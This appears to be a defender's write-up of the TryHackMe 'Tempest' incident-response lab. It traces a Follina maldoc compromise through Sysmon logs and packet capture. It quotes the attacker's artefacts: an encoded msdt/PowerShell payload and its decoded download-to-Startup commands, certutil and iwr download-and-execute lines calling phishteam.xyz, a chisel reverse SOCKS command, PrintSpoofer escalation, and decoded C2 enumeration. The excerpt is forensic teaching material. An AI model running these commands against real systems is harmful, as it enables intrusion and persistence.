Tempest
You are tasked to conduct an investigation from a workstation affected by a full attack chain.
CONTEXT
I. Background
In this incident, you will act as an Incident Responder from an alert triaged by one of your Security Operations Center analysts. The analyst has confirmed that the alert has a CRITICAL severity that needs further investigation.
Challenge Link: TryHackMe - Tempest
II. Tools and Artifacts
Conversion of Log Files
Conversion of EVTX files to JSON using EvtxECmd:
PS> .\EvtxECmd\EvtxECmd.exe -f sysmon.evtx --json .\ --jsonf sysmon.json
Metrics (including dropped events)
Event ID Count
1 238
2 2
3 92
5 3
8 3
11 1,024
12 186
13 869
15 6
22 136
PS> .\EvtxECmd\EvtxECmd.exe -f windows.evtx --json .\ --jsonf windows.json
Metrics (including dropped events)
Event ID Count
1102 1
4624 43
4625 4
4648 9
4720 2
4722 2
4724 3
4728 2
4732 3
4738 3
4797 34
4798 27
4799 12
5379 51
5382 2Protocol Heirarchy (pcap)
$ tshark -r capture.pcapng | sed -e 's/^[ ]*\w*\s*//g' | sed -E 's/\s{2,}/ /g' | cut -d' ' -f5 | sort | uniq -c | sort -bnr
16305 TCP
1883 TLSv1.2
1709 HTTP
734 WebSocket
548 TLSv1.3
21 TLSv1
13 HTTP/XML
6 SSLANALYSIS
I. Initial Access
MALICIOUS DOCUMENT
As reported by the SOC analyst, the intrusion started from a malicious document. In addition, the analyst compiled the essential information generated by the alert as listed below:
The malicious document has a .doc extension.
The user downloaded the malicious document via chrome.exe.
The malicious document then executed a chain of commands to attain code execution.
A maldoc was found to be downloaded into the workstation via browser. This was confirmed via logs pertaining to file creation (Sysmon Event ID 11) with its source coming from chrome.exe.
$ cat sysmon.json | grep EventId..11 | grep chrome.exe | grep ".doc" | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^TargetFilename|^CreationUtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | .[0]*.[1]*.[2]'
{
"Image": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"TargetFilename": "C:\\Users\\benimaru\\Downloads\\free_magicules.doc:Zone.Identifier",
"CreationUtcTime": "2022-06-20 17:12:56.193"
}The file was downloaded from phishteam.xyz (167.71.199.191):
$ tshark -r capture.pcapng -Y "http" | grep free_magicules.doc
1367 89.506977 192.168.254.107 → 167.71.199.191 HTTP 595 GET /02dcf07/free_magicules.doc HTTP/1.1
$ tshark -r capture.pcapng -Y 'frame matches "free_magicules.doc"' -T json | jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.*")) then ({key: .key, value: .value}) else empty end)'
{
"http.host": "phishteam.xyz",
"http.request.line": "If-Modified-Since: Mon, 20 Jun 2022 16:01:32 GMT\r\n",
"http.connection": "keep-alive",
"http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36",
"http.accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"http.accept_encoding": "gzip, deflate",
"http.accept_language": "en-US,en;q=0.9",
"http.request.full_uri": "http://phishteam.xyz/02dcf07/free_magicules.doc",
"http.request": "1",
"http.request_number": "1"
}The file, free_magicules.doc, was then opened via Microsoft Word (WINWORD.EXE):
$ cat sysmon.json | grep EventId..1, | grep free_magicules | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^CommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'
{
"UtcTime": "2022-06-20 17:13:12.410",
"ProcessId": "496",
"Image": "C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
"CommandLine": "\"C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"C:\\Users\\benimaru\\Downloads\\free_magicules.doc\" /o \"\"",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=09B09DC651D921FE022B16C234E64A12,SHA256=E25F32401FD3D25958B8B99F280F0325B232E54F185CC5D6E0710923005AC64A,IMPHASH=744185317F5DAAFAEB367DDD2932CC02",
"ParentProcessId": "6596"
}Spawning from the Microsoft Word process was an execution of msdt.exe which is highly indicative of the Follina 0-day exploit (CVE-2022-30190).
$ cat sysmon.json | grep EventId..1, | grep -i "id..496" | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^CommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'
{
"UtcTime": "2022-06-20 17:13:35.180",
"ProcessId": "4868",
"Image": "C:\\Windows\\SysWOW64\\msdt.exe",
"CommandLine": "C:\\Windows\\SysWOW64\\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGFwcD1bRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdBcHBsaWNhdGlvbkRhdGEnKTtjZCAiJGFwcFxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXAiOyBpd3IgaHR0cDovL3BoaXNodGVhbS54eXovMDJkY2YwNy91cGRhdGUuemlwIC1vdXRmaWxlIHVwZGF0ZS56aXA7IEV4cGFuZC1BcmNoaXZlIC5cdXBkYXRlLnppcCAtRGVzdGluYXRpb25QYXRoIC47IHJtIHVwZGF0ZS56aXA7Cg=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=4EBC38519675FB0BA6915D0D8A7FCD01,SHA256=1BE8AFD2962596807611E6A8836952D6BBDC24BDE52A34905006FF78F1AD5D12,IMPHASH=AF42CCE29BF30BC07C0496AF0420FD91",
"ParentProcessId": "496"
}Exploring the CommandLine parameter for the possible Follina Exploit, the payload contains a base64 encoded bit:
C:\Windows\SysWOW64\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGFwcD1bRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdBcHBsaWNhdGlvbkRhdGEnKTtjZCAiJGFwcFxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXAiOyBpd3IgaHR0cDovL3BoaXNodGVhbS54eXovMDJkY2YwNy91cGRhdGUuemlwIC1vdXRmaWxlIHVwZGF0ZS56aXA7IEV4cGFuZC1BcmNoaXZlIC5cdXBkYXRlLnppcCAtRGVzdGluYXRpb25QYXRoIC47IHJtIHVwZGF0ZS56aXA7Cg=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"Which when decoded, becomes the following (beautified):
$app=[Environment]::GetFolderPath('ApplicationData');
cd "$app\Microsoft\Windows\Start Menu\Programs\Startup";
iwr http://phishteam.xyz/02dcf07/update.zip -outfile update.zip;
Expand-Archive .\update.zip -DestinationPath .;
rm update.zip;The decoded payload downloads and adds a file, update.zip, to the Startup folder which is then extracted to the same directory. The execution being done in PowerShell as well as having sdiagnhost.exe writing the file to the Startup folder confirms the abuse of the Follina exploit.
$ cat sysmon.json | grep EventId..11 | grep update.zip | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^TargetFilename|^CreationUtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'
{
"Image": "C:\\Windows\\SysWOW64\\sdiagnhost.exe",
"TargetFilename": "C:\\Users\\benimaru\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\update.zip",
"CreationUtcTime": "2022-06-20 17:13:37.822"
}STAGE 2 EXECUTION
Based on the initial findings, we discovered that there is a stage 2 execution:
The document has successfully executed an encoded base64 command.
Decoding this string reveals the exact command chain executed by the malicious document.
As the file, update.zip, was written in the Startup folder, login activities of the compromised user (benimaru) were monitored and processes spawned by winlogon.exe were traced.
$ cat sysmon.json | grep EventId..1, | grep -i "winlogon.exe" | grep benimaru | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^(ParentC|C)ommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'
{
"UtcTime": "2022-06-20 17:12:24.262",
"ProcessId": "5968",
"Image": "C:\\Windows\\System32\\userinit.exe",
"CommandLine": "C:\\Windows\\system32\\userinit.exe",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=BF8825D08BC235F0609CA8BBEF4E179C,SHA256=1FE7F7C59EC7EAA276739FA85F7DDA6136D81184E0AEB385B6AC9FEAAA8C4394,IMPHASH=8419D97ABDFEB6C320F0C39028647572",
"ParentProcessId": "5612",
"ParentCommandLine": "winlogon.exe"
}
{
"UtcTime": "2022-06-20 17:14:50.535",
"ProcessId": "3408",
"Image": "C:\\Windows\\System32\\userinit.exe",
"CommandLine": "C:\\Windows\\system32\\userinit.exe",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=BF8825D08BC235F0609CA8BBEF4E179C,SHA256=1FE7F7C59EC7EAA276739FA85F7DDA6136D81184E0AEB385B6AC9FEAAA8C4394,IMPHASH=8419D97ABDFEB6C320F0C39028647572",
"ParentProcessId": "1396",
"ParentCommandLine": "winlogon.exe"
}Upon tracing the logs, a PowerShell execution was spawned which leads to the download of a stage 2 payload (first.exe).
$ cat sysmon.json | grep EventId..1, | grep -i "parent.*id..3408" | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^(ParentC|C)ommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'
{
"UtcTime": "2022-06-20 17:14:50.606",
"ProcessId": "5784",
"Image": "C:\\Windows\\explorer.exe",
"CommandLine": "C:\\Windows\\Explorer.EXE",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=2F62005FCEA7430BB871A56F7700F81C,SHA256=B759293373A11D1A972873A902BC64B2C9690AB947CE4A185CD047195521296D,IMPHASH=0B98A47B3DAF2EE45939EF2A0F188959",
"ParentProcessId": "3408",
"ParentCommandLine": "C:\\Windows\\system32\\userinit.exe"
}
$ cat sysmon.json | grep EventId..1, | grep -i "parent.*id..5784" | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^(ParentC|C)ommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'
[..omitted..]
{
"UtcTime": "2022-06-20 17:15:10.547",
"ProcessId": "9052",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -w hidden -noni certutil -urlcache -split -f 'http://phishteam.xyz/02dcf07/first.exe' C:\\Users\\Public\\Downloads\\first.exe; C:\\Users\\Public\\Downloads\\first.exe",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F",
"ParentProcessId": "5784",
"ParentCommandLine": "C:\\Windows\\Explorer.EXE"
}Looking at the command executed, the payload was downloaded to the Public Downloads folder.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noni certutil -urlcache -split -f 'http://phishteam.xyz/02dcf07/first.exe' C:\Users\Public\Downloads\first.exe; C:\Users\Public\Downloads\first.exeThe logs shown below proves the successful download and execution of first.exe:
$ cat sysmon.json | grep EventId..11 | grep first.exe | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^TargetFilename|^CreationUtcTime|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) |
add'
{
"UtcTime": "2022-06-20 17:15:14.096",
"Image": "C:\\Windows\\system32\\certutil.exe",
"TargetFilename": "C:\\Users\\Public\\Downloads\\first.exe",
"CreationUtcTime": "2022-06-20 14:29:54.049"
}
$ cat sysmon.json | grep EventId..1, | grep benimaru | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^(ParentC|C)ommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add | select(.Image | test(".*first.exe"))'
{
"UtcTime": "2022-06-20 17:15:14.129",
"ProcessId": "8948",
"Image": "C:\\Users\\Public\\Downloads\\first.exe",
"CommandLine": "\"C:\\Users\\Public\\Downloads\\first.exe\"",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=C9AA36F483B61CFA9758C44ACDB776AC,SHA256=CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8,IMPHASH=468991D410EEFBCFB478FB910DDA2CE2",
"ParentProcessId": "9052",
"ParentCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -w hidden -noni certutil -urlcache -split -f 'http://phishteam.xyz/02dcf07/first.exe' C:\\Users\\Public\\Downloads\\first.exe; C:\\Users\\Public\\Downloads\\first.exe"
}Network logs included in Sysmon shows that the execution of first.exe creates a callback to resolvecyber.xyz (167.71.222.162) at port 80:
$ cat sysmon.json | grep EventId..3, | grep first.exe | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^U|^Source(Ip|Port)|^Destination(Ip|Port)"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add' | grep -E "Destination" | sort | uniq
"DestinationIp": "167.71.222.162",
"DestinationPort": "80",
"DestinationPortName": "http"
$ tshark -r capture.pcapng -Y "ip.dst==167.71.222.162 and http" -T json | jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.host")) then ({key: .key, value: .value}) else empty end)' | grep http.host | uniq
"http.host": "resolvecyber.xyz"
"http.host": "resolvecyber.xyz:8080"MALICIOUS DOCUMENT TRAFFIC
Based on the collected findings, we discovered that the attacker fetched the stage 2 payload remotely:
We discovered the Domain and IP invoked by the malicious document on Sysmon logs.
There is another domain and IP used by the stage 2 payload logged from the same data source.
Network traffic related to the execution of first.exe shows requests to the URI path /9ab62b5:
$ tshark -r capture.pcapng -Y "ip.dst==167.71.222.162 and http" | head -n 1
5159 227.738875 192.168.254.107 → 167.71.222.162 HTTP 161 GET /9ab62b5 HTTP/1.1
$ tshark -r capture.pcapng -Y "frame.number==5159" -T json | jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.*")) then ({key: .key, value: .value}) else empty end)'
{
"http.host": "resolvecyber.xyz",
"http.request.line": "user-agent: Nim httpclient/1.6.6\r\n",
"http.connection": "Keep-Alive",
"http.user_agent": "Nim httpclient/1.6.6",
"http.request.full_uri": "http://resolvecyber.xyz/9ab62b5",
"http.request": "1",
"http.request_number": "1"
}Requests with the GET parameter, ?q=, are also seen with base64 encoded payloads.
$ tshark -r capture.pcapng -Y "ip.dst==167.71.222.162 and http" -T fields -e http.request.uri
/9ab62b5
/9ab62b5?q=d2hvYW1pIC0gdGVtcGVzdFxiZW5pbWFydQ0K
/9ab62b5
/9ab62b5?q=cHdkIC0gDQpQYXRoICAgICAgICAgICAgICAgDQotLS0tICAgICAgICAgICAgICAgDQpDOlxXaW5kb3dzXHN5c3RlbTMyDQoNCg0K
/9ab62b5
[..omitted..]II. Discovery
Based on the collected findings, we have discovered that the malicious binary continuously uses the C2 traffic:
We can easily decode the encoded string in the network traffic.
The traffic contains the command and output executed by the attacker.
HTTP requests with base64 encoded payloads were parsed and decoded using the following command:
$ for i in $(tshark -r capture.pcapng -Y '(ip.dst==167.71.222.162 and tcp.port eq 80) and frame contains "?q="' -T fields -e http.request.uri | cut -d'=' -f2); do
> echo $i | base64 -d;
> doneThe threat actor was then seen to have achieved Remote Code Execution (RCE) with a non-interactive webshell. Initial enumeration included their current user context, existing user directories, as well as local users and administrators:
> whoami
tempest\benimaru
> pwd
Path
----
C:\Windows\system32
> dir C:\Users
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/20/2022 9:06 PM benimaru
d-r--- 6/20/2022 4:03 PM Public
d----- 6/20/2022 11:52 PM rimuru
> net users
User accounts for \\TEMPEST
-------------------------------------------------------------------------------
Administrator benimaru DefaultAccount
Guest rimuru WDAGUtilityAccount
The command completed successfully.
> net localgroup administrators -
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
rimuru
The command completed successfully.
> net user benimaru
User name benimaru
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 6/20/2022 9:18:04 PM
Password expires Never
Password changeable 6/20/2022 9:18:04 PM
Password required No
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/21/2022 1:14:49 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use*Users
Global Group memberships *None
The command completed successfully.Next, they began exploring the current user context's home directory:
> dir C:\Users\benimaru -
Directory: C:\Users\benimaru
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/20/2022 4:13 PM 3D Objects
d-r--- 6/20/2022 4:13 PM Contacts
d-r--- 6/21/2022 12:27 AM Desktop
d-r--- 6/20/2022 9:20 PM Documents
d-r--- 6/21/2022 1:13 AM Downloads
d-r--- 6/20/2022 4:13 PM Favorites
d-r--- 6/20/2022 4:13 PM Links
d-r--- 6/20/2022 4:13 PM Music
dar--- 6/21/2022 1:15 AM OneDrive
d-r--- 6/20/2022 4:13 PM Pictures
d-r--- 6/20/2022 4:13 PM Saved Games
d-r--- 6/20/2022 4:13 PM Searches
d-r--- 6/20/2022 5:57 PM Videos
> dir C:\Users\benimaru\documents
> dir C:\users\benimaru\Desktop -
Directory: C:\users\benimaru\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/20/2022 11:34 PM 268 automation.ps1
-a---- 6/20/2022 4:13 PM 1446 Microsoft Edge.lnk
> cat C:\Users\Benimaru\Desktop\automation.ps1A file, automation.ps1, was discovered which includes the user, benimaru's, credentials in plaintext:
$user = "TEMPEST\benimaru"
$pass = "infernotempest"
$securePassword = ConvertTo-SecureString $pass -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $user, $securePassword
## TODO: Automate easy tasks to hack working hoursFollowing the user enumeration, network-related information were then gathered:
> netstat -ano -p tcp
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 864
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5508
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING 4964
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 476
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1212
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1760
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2424
TCP 0.0.0.0:49671 0.0.0.0:0 LISTENING 624
TCP 0.0.0.0:49676 0.0.0.0:0 LISTENING 608
TCP 192.168.254.107:139 0.0.0.0:0 LISTENING 4
TCP 192.168.254.107:51802 52.139.250.253:443 ESTABLISHED 3216
TCP 192.168.254.107:51839 34.104.35.123:80 TIME_WAIT 0
TCP 192.168.254.107:51858 104.101.22.128:80 TIME_WAIT 0
TCP 192.168.254.107:51860 20.205.146.149:443 TIME_WAIT 0
TCP 192.168.254.107:51861 204.79.197.200:443 ESTABLISHED 4352
TCP 192.168.254.107:51871 20.190.144.169:443 TIME_WAIT 0
TCP 192.168.254.107:51876 52.178.17.2:443 ESTABLISHED 4388
TCP 192.168.254.107:51878 20.60.178.36:443 ESTABLISHED 4388
TCP 192.168.254.107:51881 52.109.124.115:443 ESTABLISHED 4388
TCP 192.168.254.107:51882 52.139.154.55:443 ESTABLISHED 4388
TCP 192.168.254.107:51884 40.119.211.203:443 ESTABLISHED 4388
TCP 192.168.254.107:51895 52.152.90.172:443 ESTABLISHED 5508
TCP 192.168.254.107:51896 20.44.229.112:443 ESTABLISHED 8904Finally, the threat actor downloaded chisel (a socks proxy application) into the workstation:
> powershell iwr http://phishteam.xyz/02dcf07/ch.exe -outfile C:\Users\benimaru\Downloads\ch.exe - base64: invalid input
> dir C:\Users\benimaru\Downloads\ch.exe -
Directory: C:\Users\benimaru\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/21/2022 1:17 AM 8230912 ch.exeA reverse socks proxy to 167.71.199.191:8080 was started:
$ cat sysmon.json | grep EventId..1, | grep benimaru | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^(ParentC|C)ommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add | select(.Image | test(".*ch.exe"))'
{
"UtcTime": "2022-06-20 17:18:48.723",
"ProcessId": "7388",
"Image": "C:\\Users\\benimaru\\Downloads\\ch.exe",
"CommandLine": "\"C:\\Users\\benimaru\\Downloads\\ch.exe\" client 167.71.199.191:8080 R:socks",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=527C71C523D275C8367B67BBEBF48E9F,SHA256=8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451,IMPHASH=C7269D59926FA4252270F407E4DAB043",
"ParentProcessId": "8948",
"ParentCommandLine": "\"C:\\Users\\Public\\Downloads\\first.exe\""
}The user, benimaru, belonging to the Remote Management Users group as well as having TCP port 5985 open in his workstation may have given the threat actor remote access via WinRM. The logs below show all Network logons (LogonType 3) of the compromised user:
$ cat windows.json | grep -E 'EventId..4624' | grep 'benimaru' | grep -i "type 3" | jq -r '{LogonType: .PayloadData2, UserName: .PayloadData1, Time: .TimeCreated}'
{
"LogonType": "LogonType 3",
"UserName": "Target: TEMPEST\\benimaru",
"Time": "2022-06-20T17:19:05.7222347+00:00"
}
{
"LogonType": "LogonType 3",
"UserName": "Target: TEMPEST\\benimaru",
"Time": "2022-06-20T17:20:06.2574361+00:00"
}
{
"LogonType": "LogonType 3",
"UserName": "Target: TEMPEST\\benimaru",
"Time": "2022-06-20T17:21:05.5133859+00:00"
}
{
"LogonType": "LogonType 3",
"UserName": "Target: TEMPEST\\benimaru",
"Time": "2022-06-20T17:21:33.8813884+00:00"
}III. Privilege Escalation
Based on the collected findings, the attacker gained a stable shell through a reverse socks proxy.
Executions were seen in the Sysmon logs but not in the captured network traffic. This leads to the assumption that the threat actor was able to establish a stable shell via WinRM.
The first execution was enumeration of privileges for the current user context (benimaru):
{
"UtcTime": "2022-06-20 17:19:16.266",
"ProcessId": "2068",
"Image": "C:\\Windows\\System32\\whoami.exe",
"CommandLine": "\"C:\\Windows\\system32\\whoami.exe\" /priv",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=43C2D3293AD939241DF61B3630A9D3B6,SHA256=1D5491E3C468EE4B4EF6EDFF4BBC7D06EE83180F6F0B1576763EA2EFE049493A,IMPHASH=7FF0758B766F747CE57DFAC70743FB88",
"ParentProcessId": "6204",
"ParentCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" whoami /priv"
}Afterwhich, the files, spf.exe and final.exe, were downloaded into the workstation:
{
"UtcTime": "2022-06-20 17:20:06.648",
"ProcessId": "6804",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" iwr http://phishteam.xyz/02dcf07/spf.exe -outfile spf.exe",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F",
"ParentProcessId": "4208",
"ParentCommandLine": "C:\\Windows\\system32\\wsmprovhost.exe -Embedding"
}
{
"UtcTime": "2022-06-20 17:21:05.827",
"ProcessId": "3712",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" iwr http://phishteam.xyz/02dcf07/final.exe -outfile C:\\ProgramData\\final.exe",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F",
"ParentProcessId": "4208",
"ParentCommandLine": "C:\\Windows\\system32\\wsmprovhost.exe -Embedding"
}spf.exe was executed (to run final.exe after the fact) and based on the executable's hash was found to be a printspoofer exploit which abuses impersonation privileges (SeImpersonatePrivilege). The threat actor must have been tipped off after enumerating user privileges.
{
"UtcTime": "2022-06-20 17:21:34.192",
"ProcessId": "6828",
"Image": "C:\\Users\\benimaru\\Downloads\\spf.exe",
"CommandLine": "\"C:\\Users\\benimaru\\Downloads\\spf.exe\" -c C:\\ProgramData\\final.exe",
"User": "TEMPEST\\benimaru",
"Hashes": "MD5=108DA75DE148145B8F056EC0827F1665,SHA256=8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D,IMPHASH=545A81240793F9CA97306FA5B3AD76DF",
"ParentProcessId": "4208",
"ParentCommandLine": "C:\\Windows\\system32\\wsmprovhost.exe -Embedding"
}
{
"UtcTime": "2022-06-20 17:21:34.268",
"ProcessId": "8264",
"Image": "C:\\ProgramData\\final.exe",
"CommandLine": "C:\\ProgramData\\final.exe",
"User": "NT AUTHORITY\\SYSTEM",
"Hashes": "MD5=4C014F94A8FA0B484A2EDAB422AB2A1A,SHA256=03E1840A24506AFC88AB5FF7F83D2B07B558B34FF42DD34DD93267FD2E7A74E6,IMPHASH=468991D410EEFBCFB478FB910DDA2CE2",
"ParentProcessId": "6828",
"ParentCommandLine": "\"C:\\Users\\benimaru\\Downloads\\spf.exe\" -c C:\\ProgramData\\final.exe"
}After the execution of final.exe, network connections were checked on sysmon for possible callbacks and true enough:
$ cat sysmon.json | grep EventId..3, | grep -i final.exe | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^U|^Source(Ip|Port)|^Destination(Ip|Port)"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add' | grep -E 'Image|Destination(Ip|Port")' | sort | uniq
"DestinationIp": "167.71.222.162",
"DestinationPort": "8080",
"Image": "C:\\ProgramData\\final.exe",IV. Post-Exploitation
Now, the attacker has gained administrative privileges inside the machine. Find all persistence techniques used by the attacker.
In addition, the unusual executions are related to the malicious C2 binary used during privilege escalation.
Callbacks to 167.71.222.162:8080 were parsed and decoded using the following command:
$ for i in $(tshark -r capture.pcapng -Y '(ip.dst==167.71.222.162 and tcp.port eq 8080) and frame contains "?q="' -T fields -e http.request.uri | cut -d'=' -f2);
> do echo $i | base64 -d;
> doneNow, the current user context of the threat actor is NT AUTHORITY\SYSTEM which is the local superadmin of the workstation:
> whoami
nt authority\system
> pwd
Path
----
C:\Windows\system32
> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeCreateTokenPrivilege Create a token object Enabled
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Enabled
SeRelabelPrivilege Modify an object label Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session EnabledThey attempted to add two new users, shuna and shion, but failed without adding the option, /add, to the net user command:
